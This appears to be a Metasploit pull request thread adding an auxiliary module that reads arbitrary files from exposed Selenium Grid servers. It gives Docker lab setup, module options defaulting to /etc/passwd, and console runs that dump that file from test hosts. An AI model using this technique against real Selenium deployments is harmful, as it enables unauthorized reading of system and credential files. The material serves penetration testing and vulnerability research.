Add Selenium file read auxiliary module

[Takahiro-Yoko]

One of #19753
Chrome RCE PR: #19769
Firefox RCE PR: #19771

Vulnerable Application

If there is an open selenium web driver, a remote attacker can send requests to the victims browser.
In certain cases this can be used to access to the remote file system.

The vulnerability affects:

* all version of open Selenium Server (Grid)

This module was successfully tested on:

* selenium/standalone-firefox:3.141.59 installed with Docker on Ubuntu 24.04
* selenium/standalone-firefox:4.0.0-alpha-6-20200730 installed with Docker on Ubuntu 24.04
* selenium/standalone-firefox:4.6 installed with Docker on Ubuntu 24.04
* selenium/standalone-firefox:4.27.0 installed with Docker on Ubuntu 24.04
* selenium/standalone-chrome:4.27.0 installed with Docker on Ubuntu 24.04
* selenium/standalone-edge:4.27.0 installed with Docker on Ubuntu 24.04

Installation

1. docker pull selenium/standalone-firefox:3.141.59

2. docker run -d -p 4444:4444 -p 7900:7900 --shm-size="2g" selenium/standalone-firefox:3.141.59

Verification Steps

1. Install the application
2. Start msfconsole
3. Do: use auxiliary/gather/selenium_file_read
4. Do: run rhost=<rhost>
5. You should get a file content

Options

SCHEME (Required)

This is the scheme to use. Default is file.

FILEPATH (Required)

This is the file to read. Default is /etc/passwd.

BROWSER (Required)

This is the browser to use. Default is firefox.

Scenarios

selenium/standalone-firefox:4.27.0 installed with Docker on Ubuntu 24.04

msf6 auxiliary(gather/selenium_file_read) > run rhost=192.168.56.16 rport=4448
[*] Running module against 192.168.56.16
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Selenium Grid version 4.x detected and ready.
[+] /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
seluser:x:1200:1201::/home/seluser:/bin/bash
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
messagebus:x:100:101::/nonexistent:/usr/sbin/nologin
pulse:x:101:102:PulseAudio daemon,,,:/run/pulse:/usr/sbin/nologin

[*] Auxiliary module execution completed

[dledda-r7]

Hello @Takahiro-Yoko,
Thanks for all the modules you wrote regarding Selenium, I just have one little comment.

msf6 auxiliary(gather/selenium_file_read) > exploit
[*] Running module against 172.18.195.0
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Version 3.141.59 detected
[*] Started session (58ddc871-7138-4f46-8f40-ff4367e54f14).
[+] /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
seluser:x:1200:1201::/home/seluser:/bin/bash
systemd-timesync:x:101:101:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:105::/nonexistent:/usr/sbin/nologin
rtkit:x:105:106:RealtimeKit,,,:/proc:/usr/sbin/nologin
pulse:x:106:107:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin

[*] Deleted session (58ddc871-7138-4f46-8f40-ff4367e54f14).
[*] Auxiliary module execution completed

[dledda-r7]

🚀

[dledda-r7]

Release Notes

This adds an auxiliary module to perform arbitrary file read on vulnerable Selenium installations using Firefox, Chrome or Edge backends.